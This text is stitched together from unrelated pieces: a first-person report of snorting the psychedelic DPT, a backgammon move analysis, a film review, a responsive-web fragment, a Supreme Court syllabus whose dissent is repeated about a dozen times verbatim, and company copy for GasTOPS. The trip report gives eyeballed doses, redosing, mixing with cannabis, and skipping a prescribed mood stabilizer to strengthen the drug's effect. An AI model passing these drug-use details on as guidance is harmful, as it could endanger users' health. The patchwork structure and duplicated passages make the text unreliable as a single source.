| DOSE: T+ 0:00 |
3 lines |
insufflated |
DPT |
(powder / crystals) |
| T+ 0:10 |
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smoked |
Cannabis |
(plant material) |
| T+ 1:00 |
500 mg |
oral |
Acetaminophen |
(pill / tablet) |
| T+ 2:00 |
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smoked |
Cannabis |
(plant material) |
| T+ 20:00 |
55 mg |
oral |
Caffeine |
(liquid) |
Substances: DPT, Cannabis, Acetaminophen, Caffeine, Naproxen Sodium
Dose: DPT – unknown, 3 lines approx. 2mm x 2mm x 3cm
Cannabis – multiple bowls
Acetaminophen – 500 mg
Caffeine – 55 mg
Naproxen Sodium – 220mg
Set: This is my first trip since Christmas Day 2005. We just got back from an overnight backpacking trip in the Sierra Nevada Mountains. I had planned to take my dose up there, but since there were very few trailheads open it was crowded up there. The weather was also less than ideal, it snowed on us on the way in. It was excellent exercise for me however and a nice holiday. I thoroughly enjoyed our camping trip.  I am anxious as I always am before taking a psychedelic, but there's the 'new drug' and eyeballing anxieties as well. I'm glad to have my wife for a sober sitter. No depression lately.
Setting: My new home, our apartment, alone with my wife. The clutter has been picked up for the most part. This is my first trip here, my first time using this substance and my first time insufflating. I'm a little anxious about going too far out and raising awareness of the neighbors. My highest rated instrumental classical, jazz and Ravi Shankar tracks have been randomized and are playing. I haven't eaten since 11:00 (t-10h), when I had some oatmeal with raisins before our hike out. I am vegan and generally take multi-vitamins and 1500mg of Valproic Acid a day as a mood stabilizer. I have not taken my Valproic Acid today as previous experiences have led me to believe it may inhibit the trip to some extent.
Report: [T-0:05] 'Universal Lover' by Fantuzzi plays. It is the only piece with vocals in this mix. It takes me a few minutes to work up to it. My wife offers to dose with me, but I won't have it since this compound is still unknown to me. I prepared the dose by using a non-serrated steak knife to retrieve some of the powder from the bag and cut it up (there were a few clumps, but it was already fairly powdery). I then used the knife to make two fairly equal lines. I had already prepared a straw by cutting off a 3 inch section to use.
[T+0:00] After singing along with the song, hugging my wife, much mental preparation and many breaths I placed the straw in my right nostril and slowly and steadily inhaled along the length of one 2mm x 2mm x 2.5cm line. At first it didn't burn as bad as I expected. The nasal drip was about what was expected just knowing how these compounds taste. Later on the burn became more pronounced.
[T+0:05] I have my first alerts, body feels mostly. Nasal burn increases. I am looking at Dali books but decide he is too grotesque right now and get “One Fish, Two Fish, Red Fish, Blue Fish” by Dr. Seuss instead and read it to my wife.
[T+0:10] I’m getting stronger alerts now. A bit of feeling like I had to go and minor nausea, similar to how Foxy can make me feel. Nausea is not bad enough to make me seek solace in Cannabis. Nasal burn is more pronounced now and levels off. Reading has become more difficult. My hair bands are uncomfortable and are removed.
[T+0:20] It feels like I'm going to stay at this level, but I decide to wait 10 more minutes anyway. There is minor patterning on the ceiling with some movement. My headspace is remarkably straight but I am off baseline. I’d say I’m at a + on the Shulgin Scale right now. My nose feels 'funny'.
[T+0:30] I prepare one more line and snort double my previous effort. It all goes up the same nostril because the other one was plugged. I don’t find this very difficult to manage.
[T+0:40] There are added effects now, first strong alerts of the second dose. I take one small hit off the bong.
[T+0:45] My trip is definitely coming on now. The visuals are growing stronger and my mindspace is getting much trippier. I’d say a strong ++ at this point. I notice some of the compound stuck towards the bottom of my nose and a few milligrams fall out. Next time I will place the straw a little further into my nose.
[T+0:50] I ask my wife to leave the bedroom. I’m wondering how much I took and how far out it will take me. I feel it still getting up to full speed. The ceiling seems strongly geometric (lots of pyramids) and seems to be perforated in spots, with a swirling multi-colored display in the background. I didn't make it over to the other side of the perforation on this trip, that is left for future explorations with this drug.
[T+~1:00] Full on Being. Feels like I’m at the shallow end of the +++ pool now. The visuals at this point are definitely stronger than any other substance I've ingested, but not the overwhelming blanket of visuals or “psychedelic mess” some other users have reported. It should be noted however that I rarely get too much in the way of visuals. Music is magical and it’s easy to get “lost” in the sound. I feel like I’m floating on a sensual sea.
The effects continue to unfold. It is a 'soft landing' this time, which was what I wanted given our living situation. That continual waking up to myself, finding myself put into a body again. Never do I feel like I took 'too much' or a heroic dose. This is what I would call a strong recreational dose, no ego death just a nice “Christ awareness”. I invite my wife back to our bedroom.
I mostly just lie down and enjoy the feelings. I worry that my wife is worried. I ask her if I look like I’m in trouble. She tells me no. I tell her “I do from this end,” referring to the deluge of sensory input and waking up feeling but I meant it in a playful way :). This joke is repeated several times this night. I complain about temperature disturbances, like the mushrooms produce in me. My wife's face is a wide plane of beautiful patterns and seems very large but totally proportional. I’m getting lost starring at it. She looks simply gorgeous and radiant. It’s going to take a few minutes to get used to my body. Take 500mg of acetaminophen for my headache which is rather strong and through out my head, it does not allay it.
[T+~2:00] We've moved out to the living room.  It feels incredible, lasts a nice long while and has a fitting, incredible climax. The experience was very moving and I felt the love pouring out from my wife. It was very stimulating mentally and physically. The music is still blowing me away. I smoke some more Cannabis.
[T+3:00] It’s starting to wane by now. I eat some enchiladas. My feelings are guiding my thoughts. I think about grace and self-respect and need. I feel thankful for this food after my fast and think about how everything emanates from the Divine. I feel disgust with myself for wanting to scrape the container clean of sauce and think about how what I put in my body affects it. I feel hungry still and think about all those who want for food everyday and thought about what they would do if they had this before them. Then I feel like a hungry child and scraped it clean with vigor, thankful for every drop.
I think about the dance between life and death in this creation and the yin-yang symbol. Fairly strong visuals persist when staring at objects. Looking at my wife’s monitor with the default Windows background I see lots of patterns in the clouds, including many faces. I think about reptiles, amphibians and especially insects, as to me the empty enchilada container looks like a large cockroach. Some Bach organ music plays and seems to be speaking for them, sort of an anthem proclaiming their intelligence and desire for relations. On the “cockroache’s” wings I see some stylized marching insects and a turtle. As is usually the case when I see anything resembling an entity while tripping I feel very ambivalent, unsure of whether I can trust the “entity”. After the song is over I watch some Futurama, ready to relax a bit.
[T+4:00] The DPT has a tail end push like Foxy, I could be up for at least 4 more hours easily. I start writing this trip report.
[T+4:35] Patterning is still visible on the ceiling. More pronounced than it was at T+0:20 but less than at T+0:50.
[T+5:00] I’m quite tired but still feeling the push. I’m pretty much down except for the push.
[T+8:00] I’m going to attempt sleep after much Cannabis and TV. It takes a normal amount of time to fall asleep.
[T+16:00] I wake up on my own with no alarm clock. I have a bit of a hangover, mostly a moderate headache which is diffuse but centered on the back of my head.
[T+19:00] I take a nap for about an hour.
[T+20:00] A Mountain Dew helps my headache some.
[T+26:00] My headache persists, so I take 220mg naproxen sodium.
[T+27:00] The headache is very manageable now, barely noticeable.
Summary: As is usually the case, I got the trip I needed this time. It was my hand-out. I am very thankful to the One for everything I have and am thankful for these crumbs of grace from this trip. Everything in creation is a handout from the One. I did not go to see Hir today, I merely came humbly up to Hir door and gifts rained down upon me. I did not venture over to the other side of the veil, instead I had my “Christ experience” and that hunger was fed. In future experiences I will seek out that other side, but the substance I’ve tried that this most reminds me of is 5-MeO-DMT and it feels like it has the same depth.
Given the time scales with this drug one could be stuck in a difficult spot for some time (granted not as long as with some other substances). Preparation is definitely key for ventures further out, with absolute privacy a must for me. These waters look to run very deep. My trip was not hard to land at all. It was very routine, very much like an equivalent strength 5-MeO-DMT landing but not as hurried. My nose felt funny all night, insufflation is not my favorite way to take drugs. High doses very well may be terrifying, we shall see, but lower doses definitely have a recreational use on par with 5-MeO-DMT and use possibly on par entheogenically.
If it weren’t for the associated headache I’d probably prefer it to 5-MeO-DMT recreationally given their similarity, mostly due to the time profile, but also due to the enhanced visuals and special auditory processing. However the headache makes me disinclined to experiment with this substance too often.
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Money Play. How should Red play 64?
pips Red=128 White=134
(CorrectAnswer= 0/0, ErrorScore= 0)
Leap the prime or bring another cover for the 4-pt after playing 8/4 with the 4?
Red should not ignore White’s four-point prime and should leap now with 20/14 while White only has a one-point home board. Red is ahead in the race so 20/14 is highly logical.
13/17, 8/4 is an error.
Red should not ignore White’s four-point prime and should leap now with 20/14 while White only has a one-point home board. Red is ahead in the race so 20/14 is highly logical.
13/17, 8/4 is an error.
1. Cubeful 2-ply 20/14 8/4 Eq.: +0.533 0.687 0.333 0.005 - 0.313 0.069 0.003 2. Cubeful 2-ply 13/7 8/4 Eq.: +0.472 (-0.061) 0.655 0.337 0.004 - 0.345 0.060 0.003 3. Cubeful 0-ply 8/4 8/2 Eq.: +0.252 (-0.281) 0.594 0.272 0.003 - 0.406 0.071 0.002 4. Cubeful 0-ply 20/16 20/14 Eq.: +0.179 (-0.354) 0.603 0.220 0.003 - 0.397 0.111 0.004 5. Cubeful 0-ply 20/10 Eq.: +0.156 (-0.378) 0.583 0.244 0.004 - 0.417 0.110 0.006


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THE SPECIALIST (1994) A Film Review Copyright Dragan Antulov 1999
Phrase "high concept" are profanity in the vocabulary of many of today's film critics. But even such, most despised category of Hollywood bad movies has certain layers of sub-categories. There are "high concept" movies based on a single idea, or single storyline or plot. In case of THE SPECIALIST, 1994 action thriller directed by Luis Llosa there wasn't even such original idea. High concept was simply in pairing two popular actors of the time - action superstar Sylvester Stallone and blonde bombshell Sharon Stone. Result was, of course, predictable, but hardly anyone expected the critics to massacre film with such ferocity.
Stallone here plays Ray Quick, CIA bomb expert who retired after accidentally killing innocent people and now lives in Miami with his cat. Sharon Stone plays May Munro, beautiful woman determined to avenge the deaths of her parents, killed by Miami crime lord Tomas Leon (played by Eric Roberts). Two of them never meet, but they exchange messages through BBS. Ray agrees to use his talents in order to help her get her revenge and begins the bombing campaign against the bad guys.  Later, it would turn out that May's motives aren't so clear.
Based on the novel by John Shirley, the screenplay by Alexandra Seros offers standard, formulaic plot with cardboard characters and couple or predictable plot twists. The actors aren't very interested in their roles - Stallone is wooden, and Sharon Stone (unlike in her future roles) offers nothing more than her good looks. Speaking about later, film also features steamy sex scene between two protagonists, the element almost obligatory in any major production Ms. Stone had during the particular period of her career. The scene was well-done, but bellow the standards set by Verhoeven in BASIC INSTINCT. Other actors are also rather unispired, to say the least - Roberts plays standard cardboard villain, and veteran Rod Steiger is laughable as Latino godfather. The show is stolen by James Woods whose overacting scenes actually brings some life into this dull and predictable motion picture. The explosions are, however, well-done, although some of the special effects seem corny. Not interested in plot and characters, director Llosa, who used to do much better work in SNIPER, tries to make impression by providing noirish atmosphere of Miami. That effort partially fails, and the musical score by John Barry, which is good as always, only reminds the audience that there were much better films out there. There are, of course, much worse films out there, and this film perhaps didn't deserve its horrible reputation, but very few people should have to endure watching THE SPECIALIST just in order to come to such conclusion.
RATING: 3/10 (+)
Review written on June 4th 1999
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I first came across the idea of responsive text from Frankie Roberto's post on Hacker News. I thought it was a very appealing concept -- by using media query, as users resize their windows, the spans display/hide base on their classes. However, there's one thing: you have to manually define what you believe to be unimportant and wrap a span around it.
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MURPHY BROTHERS, INC. v. MICHETTI PIPE STRINGING, INC.
On January 26, 1996, respondent Michetti Pipe Stringing, Inc. (Michetti), filed a complaint in Alabama state court seeking damages for an alleged breach of contract and fraud by petitioner Murphy Bros., Inc. (Murphy). Michetti did not serve Murphy then, but three days later it faxed a courtesy copy of the file-stamped complaint to a Murphy vice president. Michetti officially served Murphy under local law by certified mail on February 12, 1996. On March 13, 1996 (30 days after service but 44 days after receiving the faxed copy of the complaint), Murphy removed the case under 28 U. S. C. §1441 to the Federal District Court. Michetti moved to remand the case to the state court on the ground that Murphy filed the removal notice 14 days too late under §1446(b), which specifies, in relevant part, that the notice shall be filed within thirty days after the receipt by the defendant, through service or otherwise , of a copy of the [complaint]. (Emphasis added.) Because the notice had not been filed within 30 days of the date on which Murphys vice president received the facsimile transmission, Michetti asserted, the removal was untimely. The District Court denied the remand motion on the ground that the 30-day removal period did not commence until Murphy was officially served with a summons. On interlocutory appeal, the Eleventh Circuit reversed and remanded, instructing the District Court to remand the action to state court. Emphasizing the statutory words receipt … or otherwise, the Eleventh Circuit held that the defendants receipt of a faxed copy of the filed initial pleading sufficed to commence the 30-day removal period.
Held:<unicode value="8194"> A named defendants time to remove is triggered by simultaneous service of the summons and complaint, or receipt of the complaint, through service or otherwise, after and apart from service of the summons, but not by mere receipt of the complaint unattended by any formal service. Pp. 411.
(a) Service of process, under longstanding tradition in our system of justice, is fundamental to any procedural imposition on a named defendant. In the absence of such service (or waiver of service by the defendant), a court ordinarily may not exercise power over a party the complaint names as defendant. See Omni Capital Intl, Ltd. v. Rudolf Wolff & Co., 484 U. S. 97. Accordingly, one becomes a party officially, and is required to take action in that capacity, only upon service of a summons or other authority-asserting measure stating the time within which the party served must appear and defend. See Fed. Rules Civ. Proc. 4(a) and 12(a)(1)(A). Unless a named defendant agrees to waive service, the summons continues to function as the sine qua non directing an individual or entity to participate in a civil action or forgo procedural or substantive rights. Pp. 45.
(b) In enacting §1446(b), Congress did not endeavor to break away from the traditional understanding. Prior to 1948, a defendant could remove a case any time before the expiration of the time to respond to the complaint under state law. Because that time limit varied from State to State, however, the removal period correspondingly varied. To reduce the disparity, Congress in 1948 enacted the original version of §1446(b), which required that the removal petition in a civil action be filed within 20 days after commencement of the action or service of process, whichever was later. However, as first framed, §1446(b) did not give adequate time or operate uniformly in States such as New York, where service of the summons commenced the action and could precede the filing of the complaint, so that the removal period could have expired before the defendant obtained access to the complaint. To ensure such access before commencement of the removal period, Congress in 1949 enacted the current version of §1446(b). Nothing in the 1949 amendments legislative history so much as hints that Congress, in making changes to accommodate atypical state commencement and complaint filing procedures, intended to dispense with the historic function of service of process as the official trigger for responsive action by a named defendant. Pp. 57.
(c) Relying on the plain meaning of §1446(b) that the panel perceived, the Eleventh Circuit was of view that [receipt] through service or otherwise opens a universe of means besides service for putting the defendant in possession of the complaint. However, the Eleventh Circuit did not delineate the dimensions of that universe. Nor can one tenably maintain that the words or otherwise provide a clue. Cf., e.g., Potter v. McCauley, 186 F. Supp. 146, 149. The interpretation of §1446(b) adopted here adheres to tradition, makes sense of the phrase or otherwise, and assures defendants adequate time to decide whether to remove an action to federal court. The various state provisions for service of the summons and the filing or service of the complaint fit into one or another of four main categories. See ibid. In each of those categories, the defendants removal period will be no less than 30 days from service, and in some of the categories, it will be more than 30 days from service, depending on when the complaint is received. First, if the summons and complaint are served together, the 30-day removal period runs at once. Second, if the defendant is served with the summons but is furnished with the complaint sometime after, the removal period runs from the receipt of the complaint. Third, if the defendant is served with the summons and the complaint is filed in court, but under local rules, service of the complaint is not required, the removal period runs from the date the complaint is made available through filing. Finally, if the complaint is filed in court prior to any service, the removal period runs from the service of the summons. See ibid. Notably, Rule 81(c), amended in 1949, uses the identical receipt through service or otherwise language in specifying the 20-day period in which the defendant must answer the complaint once the case has been removed. Rule 81(c) has been interpreted to afford the defendant at least 20 days after service of process to respond. See Silva v. Madison, 69 F. 3d 1368, 13761377. In Silva, the Seventh Circuit distinguished its earlier decision in Roe v. ODonohue, 38 F. 3d 298 (defendant need not receive service before time for removal under §1446(b) begins to run), but did not adequately explain why one who has not yet lawfully been made a party to an action should be required to decide in which court system the case should be heard. If, as the Silva court rightly determined, the service or otherwise language was not intended to abrogate the service requirement for purposes of Rule 81(c), that same language also was not intended to bypass service as a starter for §1446(b)s clock. The fact that the Seventh Circuit could read the phrase or otherwise differently in Silva and Roe , moreover, undercuts the Eleventh Circuits position that the phrase has an inevitably plain meaning. Furthermore, the so-called receipt rulestarting the time to remove on receipt of a copy of the complaint, however informally, despite the absence of any formal servicecould operate with notable unfairness to defendants in foreign nations. Because facsimile machines transmit instantaneously, but formal service abroad may take much longer than 30 days, plaintiffs would be able to dodge international treaty requirements and trap foreign opponents into keeping their suits in state courts. Pp. 710.
(d) In sum, it would take a clearer statement than Congress has made to read its endeavor to extend removal time (by adding receipt of the complaint) to effect so strange a changeto set removal apart from all other responsive acts, to render removal the sole instance in which ones procedural rights slip away before service of a summons, i.e., before one is subject to any courts authority. P. 11.
125 F. 3d 1396, reversed and remanded.
Ginsburg, J., delivered the opinion of the Court, in which Stevens, OConnor, Kennedy, Souter, and Breyer, JJ., joined. Rehnquist, C. J., filed a dissenting opinion, in which Scalia and Thomas, JJ., joined.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.
Dissent
MURPHY BROTHERS, INC., PETITIONER v. MICHETTI PIPE STRINGING, INC.
C hief Justice Rehnquist , with whom Justice Scalia and Justice Thomas join , dissenting.
Respondent faxed petitioner a copy of the file-stamped complaint in its commenced state-court action, and I believe that the receipt of this facsimile triggered the 30-day removal period under the plain language of 28 U. S. C. §1446(b). The Court does little to explain why the plain language of the statute should not control, opting instead to superimpose a judicially created service of process requirement onto §1446(b). In so doing, it departs from this Courts practice of strictly construing removal and similar jurisdictional statutes. See Shamrock Oil & Gas Corp. v. Sheets , 313 U. S. 100, 108109 (1941) . Because I believe the Eleventh Circuits analysis of the issue presented in this case was cogent and correct, see 125 F. 3d 1396, 13971398 (1997), I would affirm the dismissal of petitioners removal petition for the reasons stated by that court.


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Founded in 1979, our mission is to build a business that is recognized worldwide for its innovative contributions to the productivity and safety of critical machinery.
GasTOPS products and services add value throughout the life cycle of complex and critical machines, from the design stage through to in-service operations and support. We design, manufacture and support advanced machinery fluid sensing and analysis products; including our MetalSCAN line of full-flow oil debris sensors and the FilterCHECK oil debris analysis system. The company also provides a range of specialized technical and engineering services to assist in the design, development and in-service support of machinery control, monitoring and maintenance systems.
The company has operations in 3 locations in Canada and the United States:
1.Ottawa, Ontario Our headquarters and manufacturing centre;
2.Pensacola, Florida The home of GasTOPS Inc., our Applications Center for the collaborative development of machinery monitoring solutions using advanced fluid sensing and analysis techniques; and
3.Halifax, Nova Scotia The location of our Service Center for the provision of machinery condition assessment and component MRO services
Our customer solutions are found wherever machinery applications demand the highest standards of safety, reliability, availability and cost-effective operations. The most common of these are critical rotating machinery such as gas turbine engines found in aviation, marine, power generation and gas compression applications, diesel engines in marine and railway applications and gearboxes in aviation, marine and industrial applications.
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541330 - Engineering Services
541510 - Computer Systems Design and Related Services
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MetalSCAN's reliability lies in its simple, maintenance free design. The sensing element uses non-obtrusive magnetic coils, which surround the oil line and detect the passage of metallic debris. All of the particles above a minimum size threshold are detected and counted. Unlike conventional chip detection systems, MetalSCAN requires no cleaning and does not suffer from false alarms caused by the build-up of metallic wear "fuzz" or single large particles.
With thousands of installations worldwide on equipment ranging from advanced jet engines to industrial gearboxes, MetalSCAN has proven its effectiveness, meaning expensive failures can be avoided and maintenance personnel can plan repairs during convenient and cost-effective periods.
FilterCHECK is a unique product that automates filter debris analysis by backwashing lube oil filters, quantifing the amount of debris in the filter and determining the metallurgy of this debris using Energy Dispersive X-Ray Fluorescence (EDXRF) technology. Results of the analysis can be obtained within minutes of filter removal, allowing for immediate operational decision support and enhanced equipment availability.
FilterCHECKs patented backwashing technique uses pulses of compressed air to dislodge wear metal particles from the filter element and fluid washing to carry away these particles for quantification, collection, and analysis. Extensive testing by independent laboratories has demonstrated that FilterCHECK can reliably remove up to 95% of the particles contained in filters commonly used for machinery lubrication systems.
The filter backwash fluid passes through a MetalSCAN sensor, which automatically counts, sizes and classifies ferromagnetic and non-ferromagnetic metallic particles. The backwash fluid then passes through a membrane to separate out a sample of the debris that is analyzed by the units EDXRF module to determine the elemental constituents of the captured debris. When the backwash cycle is completed, metallic particle quantity data and EDXRF elemental analysis results are displayed or downloaded for data logging and trending.
requirements and are suitable for use in a variety of military and industrial applications.
The analyzers available are:
DI-137 Tracking Analyzer Balancer System (TABS)
DI-306 Portable Diagnositic Analyzer (PDA)
DI-307A Aircraft Vibration Analyzer (AVA)
The company holds Repairable Material Account contracts with the Canadian Department of National Defence for both on-aircraft and ground support equipment items and is an authorized repair centre for:
· FLIR Systems Model 2000, Star Safire and Ultra Series Forward Looking Infrared Systems;
· Breeze-Eastern hydraulic and electrical rescue hoist systems
· Pinpoint Laser Systems Microgage Precision Alignment Systems;
· Trimble Trimpak III Global Positioning Systems;
· Dynamic Instruments DI137A Vibration Analyzers;
· Dynamic Instruments DI803 Transducer Test Sets;
· Normalair-Garrett TTM Magnetic Tape Cartridges; and
· GasTOPS FilterCHECK, MetalSCAN and F/A 18 Flight Data Interface Unit Products.
Our repair shop facilities include specialized tooling and test equipment for optical component adjustment, accelerometer calibration, line scan camera adjustment and circuit board repair. The repair shop also has access to the companys production shop and environmental test facilities, which include CNC and conventional milling machines and lathes, CNC and TIG welding capabilities, thermal cycling chambers, and vibration test equipment.
Our repair shop staff are OEM qualified and trained. The companys extensive engineering capabilities are also available to design, develop and qualify component modifications and upgrades and to assist our customers with issues related to obsolescence management.
The component MRO shop is both AS9100/ISO9001: 2008 and Transport Canada Aircraft Maintenance Organization (AMO) certified. GasTOPS is registered under the Canadian Controlled Goods Registration Program (CCGRP).
GasTOPSs controls development is supported by our industry leading capability in the use of engineering simulations of complex machinery arrangements. We apply simulation at various stages of a project depending on the requirements at hand. Our experience includes the application of simulation to the conceptual design of machinery system configuration, detailed design of control algorithms, testing of actual control system equipment, the production of plant simulations to support land based test facilities and on board training. Our knowledge of the equipment also enables GasTOPS to dynamically simulate equipment degradation processes, essential to the development of condition indicators to improve health monitoring when the equipment is in-service.
Our remote monitoring solution is readily scalable in terms of both monitored equipment units and the processes or techniques used to monitor the health of these units. We support most of the common sample-based and continuous monitoring processes, including oil debris monitoring, oil analysis, vibration analysis, non-destructive testing, endoscopy, thermography and filter debris analysis techniques. The service can also include automated data interpretation, report generation and maintenance action recommendations via a data-driven, rule-based expert system capability.
In 2004, we created an organization within GasTOPS, the Applications Center, dedicated to this mandate of collaborative problem solving. The staff of the Applications Centre together with specialists from our engineering team in Ottawa provide our customers with extensive knowledge and prior application experience in the areas of:
o On-line, continuous wear debris monitoring;
o Analysis of captured wear debris;
o Fluid condition and contamination monitoring; and
o Condition-based maintenance program development.
